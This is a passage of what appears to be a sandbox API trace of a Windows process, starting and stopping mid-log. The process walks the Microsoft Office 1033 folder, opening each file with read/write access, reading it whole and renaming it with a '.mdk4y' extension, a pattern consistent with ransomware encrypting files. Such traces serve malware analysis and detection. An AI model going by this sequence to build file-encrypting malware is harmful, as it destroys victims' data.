lpWideCharStr="SETLANG.HXS", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SETLANG.HXSL", lpUsedDefaultChar=0x37df4c) returned 11 [0200.766] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827599800000) returned 1 [0200.768] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x61204, lpOverlapped=0x0) returned 1 [0200.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827602000000) returned 1 [0200.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827602100000) returned 1 [0200.794] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs.mdk4y")) returned 1 [0200.795] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.795] AreFileApisANSI () returned 1 [0200.795] GetACP () returned 0x4e4 [0200.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETLANG_COL.HXC", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SETLANG_COL.HXCeview.xsn", lpUsedDefaultChar=0x37df4c) returned 15 [0200.796] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827602700000) returned 1 [0200.797] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x277, lpOverlapped=0x0) returned 1 [0200.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827602800000) returned 1 [0200.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827602800000) returned 1 [0200.798] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc.mdk4y")) returned 1 [0200.800] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.800] AreFileApisANSI () returned 1 [0200.800] GetACP () returned 0x4e4 [0200.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETLANG_COL.HXT", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SETLANG_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 15 [0200.800] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.800] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827603000000) returned 1 [0200.801] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcf, lpOverlapped=0x0) returned 1 [0200.801] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827603100000) returned 1 [0200.801] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827603100000) returned 1 [0200.802] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.mdk4y")) returned 1 [0200.802] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.802] AreFileApisANSI () returned 1 [0200.802] GetACP () returned 0x4e4 [0200.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETLANG_F_COL.HXK", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SETLANG_F_COL.HXKiew.xsn", lpUsedDefaultChar=0x37df4c) returned 17 [0200.802] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.803] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827603300000) returned 1 [0200.803] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0200.804] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827603400000) returned 1 [0200.804] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827603400000) returned 1 [0200.804] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.mdk4y")) returned 1 [0200.805] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.805] AreFileApisANSI () returned 1 [0200.805] GetACP () returned 0x4e4 [0200.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETLANG_K_COL.HXK", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SETLANG_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 17 [0200.805] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.806] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827603600000) returned 1 [0200.806] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0200.806] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827603600000) returned 1 [0200.806] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827603600000) returned 1 [0200.807] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.mdk4y")) returned 1 [0200.807] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.807] AreFileApisANSI () returned 1 [0200.807] GetACP () returned 0x4e4 [0200.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SGRES.DLL", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SGRES.DLL_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 9 [0200.807] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.808] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827603800000) returned 1 [0200.809] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10d78, lpOverlapped=0x0) returned 1 [0200.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827605100000) returned 1 [0200.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827605100000) returned 1 [0200.822] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.mdk4y")) returned 1 [0200.824] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.824] AreFileApisANSI () returned 1 [0200.824] GetACP () returned 0x4e4 [0200.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SGRES.DLL.IDX_DLL", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SGRES.DLL.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 17 [0200.824] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827605500000) returned 1 [0200.825] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2d80, lpOverlapped=0x0) returned 1 [0200.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827605900000) returned 1 [0200.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827606000000) returned 1 [0200.830] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.mdk4y")) returned 1 [0200.832] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.832] AreFileApisANSI () returned 1 [0200.832] GetACP () returned 0x4e4 [0200.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SHAPNUM.VSL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SHAPNUM.VSLDX_DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0200.832] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827606200000) returned 1 [0200.832] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa570, lpOverlapped=0x0) returned 1 [0200.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827606700000) returned 1 [0200.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827606700000) returned 1 [0200.837] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.mdk4y")) returned 1 [0200.838] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.838] AreFileApisANSI () returned 1 [0200.838] GetACP () returned 0x4e4 [0200.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SKY.CSS", cchWideChar=7, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SKY.CSS.VSL", lpUsedDefaultChar=0x37df4c) returned 7 [0200.838] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827607200000) returned 1 [0200.842] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0200.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827608400000) returned 1 [0200.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827608400000) returned 1 [0200.854] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css.mdk4y")) returned 1 [0200.855] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.855] AreFileApisANSI () returned 1 [0200.855] GetACP () returned 0x4e4 [0200.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SLINTL.DLL", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SLINTL.DLLL", lpUsedDefaultChar=0x37df4c) returned 10 [0200.855] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827608600000) returned 1 [0200.856] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2380, lpOverlapped=0x0) returned 1 [0200.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827612300000) returned 1 [0200.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827612300000) returned 1 [0200.893] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll.mdk4y")) returned 1 [0200.895] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.895] AreFileApisANSI () returned 1 [0200.895] GetACP () returned 0x4e4 [0200.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SMIGRATE.VSL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SMIGRATE.VSLX_DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0200.895] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.897] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827612700000) returned 1 [0200.897] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9770, lpOverlapped=0x0) returned 1 [0200.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827613600000) returned 1 [0200.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827613600000) returned 1 [0200.907] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl.mdk4y")) returned 1 [0200.908] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.908] AreFileApisANSI () returned 1 [0200.908] GetACP () returned 0x4e4 [0200.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SOCIALCONNECTORRES.DLL", cchWideChar=22, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SOCIALCONNECTORRES.DLLsn", lpUsedDefaultChar=0x37df4c) returned 22 [0200.908] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827613900000) returned 1 [0200.909] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4e5a0, lpOverlapped=0x0) returned 1 [0201.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827626600000) returned 1 [0201.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827626600000) returned 1 [0201.039] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll.mdk4y")) returned 1 [0201.040] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.044] AreFileApisANSI () returned 1 [0201.044] GetACP () returned 0x4e4 [0201.044] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SPACE.VRD", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SPACE.VRDNECTORRES.DLL", lpUsedDefaultChar=0x37df4c) returned 9 [0201.044] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827627500000) returned 1 [0201.045] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x644, lpOverlapped=0x0) returned 1 [0201.063] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827629300000) returned 1 [0201.063] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827629300000) returned 1 [0201.063] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd.mdk4y")) returned 1 [0201.065] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.065] AreFileApisANSI () returned 1 [0201.065] GetACP () returned 0x4e4 [0201.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SPRING.CSS", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SPRING.CSSECTORRES.DLL", lpUsedDefaultChar=0x37df4c) returned 10 [0201.065] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827629600000) returned 1 [0201.066] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0201.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827632400000) returned 1 [0201.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827632400000) returned 1 [0201.094] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css.mdk4y")) returned 1 [0201.096] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.096] AreFileApisANSI () returned 1 [0201.096] GetACP () returned 0x4e4 [0201.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SPS.CSS", cchWideChar=7, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SPS.CSSCSS", lpUsedDefaultChar=0x37df4c) returned 7 [0201.096] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827632700000) returned 1 [0201.098] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, 